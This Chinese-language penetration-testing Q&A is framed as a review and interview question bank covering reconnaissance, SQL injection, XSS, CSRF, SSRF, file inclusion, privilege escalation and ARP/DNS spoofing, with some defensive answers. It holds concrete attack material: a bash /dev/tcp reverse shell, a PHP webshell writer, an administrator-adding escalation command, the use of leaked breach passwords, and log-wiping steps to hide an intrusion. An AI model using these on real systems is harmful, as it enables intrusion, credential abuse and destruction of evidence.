利用问答方式,对渗透工作做一个全面的基础的回顾和整理。

也可以考虑用作渗透工程师面试题。

Q: 拿到一个站或者域名,你该做些什么?

首先,信息收集

  • 1、获取域名的whois信息,获取注册者邮箱姓名电话等,丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台。用邮箱做关键词进行丢进搜索引擎。利用搜索到的关联信息找出其他邮箱进而得到常用社交账号。社工找出社交账号,里面或许会找出管理员设置密码的习惯 。利用已有信息生成专用字典。

  • 2、google hack 进一步探测网站的信息,后台,敏感文件

  • 3、查询服务器旁站,或子域名站点,甚至C段,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

  • 4、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞

  • 5、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

  • 6、扫描网站目录结构,看看是否可以遍历目录,网站Banner,或者备份等敏感文件泄漏,或者使用了某些Github源码等,比如php探针

  • 7、查看网站是否基于某种框架开发,例如strus2, tp等,然后去找此框架的exp本地测试一下

然后,漏洞扫描

  • 浏览网站,查看网站规模,功能,特点等

  • 开始检测漏洞,如XSS,XSRF,sql注入,代码执行,cookie安全监测,敏感信息,通讯数据传输,命令执行,越权访问,重放攻击,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等

下一步,漏洞利用

  • 利用以上的方式拿到webshell,或者其他权限

然后,服务器权限提升

  • 比如windows下mysql的udf提权,serv-u提权

  • windows低版本的漏洞,如iis6,pr,巴西烤肉,

  • linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权

最后,日志清理和输出报告。

Q:判断出网站的CMS对渗透有什么意义?

查找网上已经曝光的程序漏洞

若开源代码,可下载源码进行代码审计

Q:如果网站没有使用CMS或者CMS没漏洞,是否要扫描网站目录?

要。

依然需要对敏感文件和二级目录进行扫描,可能会发现一些特殊文件,例如 网站备份的压缩文件,说明.txt文档,或者二级目录存放了其他站点,也可能会发现例如.svn目录等

Q:常见的网站服务器容器?

IIS, Apache, Nginx, Lighttpd, Tomcat

Q: 如何手工快速判断目标站是windows还是linux服务器?

linux大小写敏感,windows大小写不敏感。

Q: Windows机器开启了RDP,但3389端口没有扫描到开放的原因?

RDP端口被修改,被防火墙防护拦截,处于内网(需要端口转发)

Q:拿到一个站,发现站里的根目录有.htaccess文件,你能做点什么?

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。 修改.htaccess配置文件后的作用很大,例如页面跳转,例如木马文件类型伪装,SSRF,开启文件上传权限等等

Q:如何菜刀绕狗?

安全狗是根据特征码确定是否是一句话木马的,只要前面加一些扰乱字符即可。

Q:提权时选择可读写目录,为何尽量不用带空格的目录?

因为exp执行时,多需要利用空格来界定参数

Q:审查上传点的元素有什么意义?

有些站点的上传文件类型的限制是在前端实现的

Q:目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因?

原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过

Q:在win2003服务器中建立一个 .test 文件夹用意何为?

以 . 开头命名的文件夹,在windows中为隐藏文件夹,为了不让管理员发现

Q:什么是TCP SYN扫描(TCP 的半连接扫描)?

利用 TCP 前两次握手,如第二次握手回复了,则证明端口开放。因为没有第三次握手建立连接,降低了被发现的可能,同时提高了扫描性能

Q:PHP代码执行,文件读取,命令执行的函数都有哪些?

  • 代码执行: eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
  • 文件读取: file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
  • 命令执行: system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

Q:如何绕过waf?

  • 大小写转换法
  • 干扰字符 ‘/’ ‘!’ ‘/’
  • 编码 base64 unicode hex url ascll
  • 复参数

Q:如何向服务器写入webshell?

  • 各种上传漏洞
  • mysql具有写入权限,用sql语句写入shell
  • http put方法

Q:渗透测试中常见的端口?

21 ftp 【弱口令,端口爆破】
22 SSH 【弱口令,端口爆破】
23 Telnet 【弱口令,端口爆破】
80 web 
80-89 web 
161 SNMP 
389 LDAP 
443 SSL心脏滴血以及一些web漏洞测试 
445 SMB 
512,513,514 Rexec 
873 Rsync未授权 
1025,111 NFS 
1433 MSSQL【数据库弱口令】
1521 Oracle:(iSqlPlus Port:5560,7778) 【数据库弱口令】
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多) 
2601,2604 zebra路由,默认密码zebra 【弱口令,端口爆破】
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
3306 MySQL 【数据库弱口令】
3312/3311 kangle主机管理系统登陆 
3389 Windows RDP远程桌面 【弱口令,端口爆破】
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
5432 PostgreSQL 【数据库弱口令】
5900 vnc 
5984 CouchDB http://xxx:5984/_utils/ 
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
7778 Kloxo主机控制面板登录 
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 
8080 tomcat/WDCP主机管理系统,默认弱口令 
8080,8089,9090 JBOSS 
8083 Vestacp主机管理系统 (国外用较多) 
8649 ganglia 
8888 amh/LuManager 主机管理系统默认端口 
9200,9300 elasticsearch
10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
28017 mongodb统计页面 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问

Q:SQL注入防护方法?

- 使用参数绑定,SQL预编译(PDO等)
- 对输入的特殊字符进行Escape转义处理
- 使用白名单来规范化输入验证方法
- 对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
- 服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
- 规范编码,字符集

Q:如何突破注入时字符转义?

宽字符注入,Hex编码绕过

Q:为什么参数化查询可以防止sql注入?有什么缺点?

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行。即预编译。

简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

缺点是:在预编译时,不能灵活处理字段名,对部分API需求无法满足。

Q:通过Http头SQL注入有哪些点?举例。

X_FORWARDED_FOR:如果代码中getip()进行同IP访问次数检测,就可以触发。因为getip()函数GET了这个头

127.0.0.1' or 1=1#  //绕过安全认证

UA:如果服务方想统计用户操作系统,浏览器等信息,将UA存入数据库则会触发。

aaa' or 1/* 

REFERER:如果来源URL被存储数据则会触发。 COOKIE:如果ASP服务代码中有 Request.cookie 方式来提交变量,则可能触发。 Client-IP: 如果代码中getip()进行同IP访问次数检测,就可以触发。因为getip()函数GET了这个头

Q:盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。

盲注的手段有两种:

  • 一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。

    • 一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的联合查询表来达到延时的目的。

Q:SQL宽字节注入是什么?举例。

例如,PHP代码为

    $conn = mysql_connect('localhost', 'root', 'password') or die('error');
    mysql_query("SET NAMES 'gbk'");
    mysql_select_db('data', $conn) OR dir('error');
    $id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
    $sql = "SELECT * FROM xx WHERE id = '{$id}'";
    $result = mysql_query($sql, $conn) or die('error');
    请求:http://192.168.3.23/wide/0x01/index.php?id=2'
    PHP中:   id=2'   -->  id=2%23  --> id=%232%57%23%23 --> id='2\''
    SQL函数:  SELECT * FROM xx WHERE id = '2\''
    结论:addslashes()对提交的单引号做了转义
    
    请求:http://192.168.3.23/wide/0x01/index.php?id=2%df'
    PHP中: id=2%df' -->  id=2%df%23 --> id=%232%df%57%23%23 --> id='2運''
    SQL函数:  SELECT * FROM xx WHERE id = '2運''
    结论:%df 这个宽字符导致addslashes()的转义失效,应该是 '2運\'' 的,结果成了 '2運''
    
    请求:http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 %23
    SQL函数:  SELECT * FROM xx WHERE id = '2運' and 1=12 #'
    结论:已经注入了
    

上面可见,由于设置了MySQL数据编码为GBK导致,%df和\ 反斜杠(%5c) 组合成了’運’这个中文字。

上面样例是gbk,其实gb2312, big5等编码都有该问题。

防御方案:

前端,后端,数据库,全部统一用UTF-8

Q:SQL二次注入是什么?举例。

例如, PHP代码为

    $a=addslashes($_GET['id'])
    $b=urldecode($a)
    请求:http://192.168.3.23/wide/0x01/index.php?id=1%2527
    PHP中:   源 = 1%2527
            $a = 1%27
            $b = 1'
    

Q:SQL里面仅仅提供了UPDATE命令,该如何利用。

我们假设有如下SQL语句权限

 UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'

我们将其中的变量做一些调整:

    赋值:让password 为 mypass)' WHERE username='admin'#
    SQL语句:UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
    效果:修改管理员密码
    
    赋值:让id 为 ' OR username='admin'
    SQL语句:UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
    效果:修改管理员密码

Q:sqlmap,怎么对一个注入点注入?

  • 如果是get,直接,sqlmap -u “网址”.
  • 如果是post,可以sqlmap -u “网址” –data=”post的参数”
  • 如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处进行替换,放到文件里,然后sqlmap -r “文件地址”

Q:MySQL注入,对5.0以上和5.0以下有什么区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。

Q:sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由?

    A. demo.jsp?id=2+1 
    B. demo.jsp?id=2-1 

选B,在 URL 编码中 + 代表空格,可能会造成混淆

Q:代替空格的方法?

%0a、%0b、%a0 等 , /**/ 等注释符, <>

Q:XSS原理?有哪几类型?

  • 反射型

用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个精心构造的恶意链接,才能攻击成功。

就是找一个网址,如 www.baidu.com/index.jsp?param=XXOOXXOO ,然后传入我们自己的参数 XXOOXXOO,然后在服务器响应时,会某种方式将 XXOOXXOO 再次返回给客户端,而返回后 XXOOXXOO如果是一些可以在浏览器中被执行的东西,就达成了目的,这就是反射XSS。

当然没人会无聊的自己反射自己,于是就可以把这样的一个链接给别人去点,就好了。

  • 储存型

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。

例如论坛里面发帖子,然后帖子里做一些特殊处理,被存储到服务器,之后其他用户要查看该贴,特殊处理的东西被执行,就会让别人受害。

这种类型XSS持久性强,也很适合做成蠕虫等。

  • DOM型

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。他和反射型XSS区别在于,它不会和后台交互,是完全的WEB前端安全问题,只能在前端做防御。

他和反射型一样,构造一个 www.baidu.com/index.jsp?param=XXOOXXOO 链接,然后这个链接中的参数 XXOOXXOO,不会丢到后端,而是直接在本地浏览器里做了处理,因代码考虑不周,导致处理得到一些不好的结果。

当然没人会无聊的自己反射自己,于是就可以把这样的一个链接给别人去点,就好了。

因为不过服务器,所以既没WAF烦,也不限制长度(不会受到后端逻辑限制)。

常用document.write、innerHTML赋值、outterHTML赋值、window.location操作、写javascript:XXOO、eval、setTimeout 、setInterval 等直接执行之类的函数点

Q:CSRF的原理?

跨站请求伪造攻击,是客户端发起。简而言之,黑客盗用了用户身份,伪装为用户发送恶意请求。

例如,我们诱骗用户访问我的网页,然后在网页里加入

    <img src=http://admin:admin@192.168.1.1 /> 

这会导致用户浏览器向路由器申请一次登录。如果账密正确,路由器会给用户机一个合法的Session,然后我们网页的其他JS代码就可以对用户路由器做一些恶意操作了。

这个对路由器的访问请求,不是用户自愿发起的。但路由器却以为是用户发起的。这就是CSRF。

Q:如何防止CSRF?

  • 验证Head头中的referer
  • 验证token

Q:token和referer做横向对比,谁安全等级高?

token安全等级更高,因为并不是任何服务器都可以取得referer。

如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。

但是使用token的话,要保证其足够随机且不可泄露。(不可预测性原则)

Q:使用Token的话,我们需要如何突破Token机制?

针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击。

信息泄露有可能是缓存、日志、get,也有可能是利用跨站

很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了

Q:SSRF原理和例子

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

在页面源码中查找访问的资源地址 ,如果该资源地址类型为 www.baidu.com/xxx.php?image=XXOOUrl 的就可能存在SSRF漏洞。此时,我们看似在访问baidu网站,但实际请求的数据却是XXOOUrl中的数据,如果Url是baidu内网服务器,那就相当于,利用baidu.com访问其内网服务器资源。

当找到一个 SSRF 时,第一件事情就是测试对应可支持的 url scheme,如:

file:// -- http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
dict:// -- http://example.com/ssrf.php?dict://ad.com:1337/
sftp:// -- http://example.com/ssrf.php?url=sftp://ad.com:1337/
tftp:// -- http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
gopher:// -- http://example.com/ssrf.php?url=http://ad.com/gopher.php

Q:文件上传漏洞原理,攻防方案?

由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

常见的上传绕过方式

  • 前端js验证:禁用js/burp改包
  • 大小写
  • 双重后缀名
  • 过滤绕过 pphphp->php

防护方式

  • 文件上传目录设置为不可执行
  • 使用白名单判断文件上传类型
  • 用随机数改写文件名和路径

Q:文件包含漏洞原理,攻防方案?

引入一段用户能控制的脚本或代码,并让服务器端执行 include() 等函数通过动态变量的方式引入需要包含的文件;用户能够控制该动态变量。

例如:

  • 网站有个PHP文件,内容有
    <?php
    include 'phar://test.rar/test.txt';
    ?>

然后目录底下有个文件是个压缩包test.rar(内部有个test.txt文件),txt文件内容如下

    <?php
    phpinfo();
    ?>

然后用户访问 http://xxoo.com/xxoo.php 则会显示PHP version info。

导致文件漏洞的函数

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), … JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), … ASP:include file, include virtual

利用

获取敏感信息:

    Linux: http://www.xxoo.com/index.php?page=/etc/passwd
    Windows: http://www.xxx.com/index.php?page=C:/windows/php.ini

上传a.jpg这种一句话木马到自己的站点或者目标站(取决于是否允许远程资源访问以及是否允许文件上传),内部代码如下

    # 需将下一行代码中的 # 符号换成 ? 符号……某志我在提交github时候被github安全杀掉了...死活提交不上去Orz
    <#fputs(fopen("shell.php","w"),"<#php eval($_POST[nmask]);#>")#>

然后执行

    http://www.xxoo.com/index.php?page=http://www.myshell.com/a.jpg
    http://www.xxoo.com/index.php?page=./a.jpg

即可生成shell.php木马后面

或者可以配合使用截断等方式。

防御

  • 开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
  • 关闭allow_url_include函数,防止远程文件包含。

Q:什么是中间人工具,它的常见手段有?

这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。

它的常见手段有:

  • ARP欺骗
  • DNS欺骗

推荐使用Kali的Ettercap,Dsniff工具

Q:ARP欺骗原理和防护?

每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。

在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。

这个映射表可以通过arp -a来查看。

只要攻击者主动向受害机发送ARP欺骗消息,声称自己是网关,就有了偷听主机传输的数据的可能。

防御

  • 和其他同网关的机器对比自己的ARP表,看看是不是被修改了
  • 在本机使用 arp -s 设置ARP表的数据为静态,那么就不会接受ARP欺骗而动态修改了
  • 在网关绑定主机MAC和IP
  • 使用一些ARPon, XARP, ARPWatch等工具进行检查ARP缓存表的变更,或者使用ARP防火墙

Q:DNS欺骗原理和防护?

目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP。

补:即使真正的DNS-ip解析响应消息返回回来,只要晚于被伪造的DNS-ip解析响应消息,后到的消息就无效。

防护

  • 打开新页面时注意看域名是不是变了,不是自己真正访问的域名。
  • 或者直接记录常用网址的IP…

Q:DDOS攻击原理和防护?

利用合理的请求造成资源过载,导致服务不可用。

它分为两类

  • syn洪流

伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。

攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

  • CC攻击原理

对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。

防护

SYN Cookie/SYN Proxy、safereset等算法。

SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

Q:MySQL提权方式和原理?

MOF提权

  • 原理

MOF = ‘托管对象格式‘,利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

  • 利用条件和提权关键

需要具备MySQL的root权限,才能导入 nullevt.mof 文件。在文件中添加

net.exe localgroup administrators quan /add 

即可在自动执行后被提权。

UDF提权

  • 原理

udf = ‘user defined function‘,即‘用户自定义函数’。文件后缀为‘.dll’,常用c语言编写。

通过在lib\plugin\目录中的udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令。

从而达成将MYSQL账号root转化为系统system权限的效果。

  • 利用条件和提权关键

需要有MySQL的用户账号,该账号需要有对MySQL进行Insert和Detele的权限。

需要有root账号密码用来导出udf

Q: 各种数据库文件存放的位置

mysql

/usr/local/mysql/data/ 
C:\ProgramData\MySQL\MySQL Server 5.6\Data

oracle

$ORACLE_BASE/oradata/$ORACLE_SID/

Q:入侵 Linux 服务器后需要清除哪些日志?

  • web日志,如apache的access.log,error.log。直接将日志清除过于明显,一般使用sed进行定向清除,例如 sed -i -e ‘/192.169.1.1/d’

  • history命令的清除,也是对~/.bash_history进行定向清除

  • wtmp日志的清除,/var/log/wtmp

  • 登录日志清除 /var/log/secure

Q:反弹Shell常用命令?

    bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

Q:通过Linux系统的/proc目录 ,能够获取到哪些信息,?

系统信息,硬件信息,内核版本,加载的模块,进程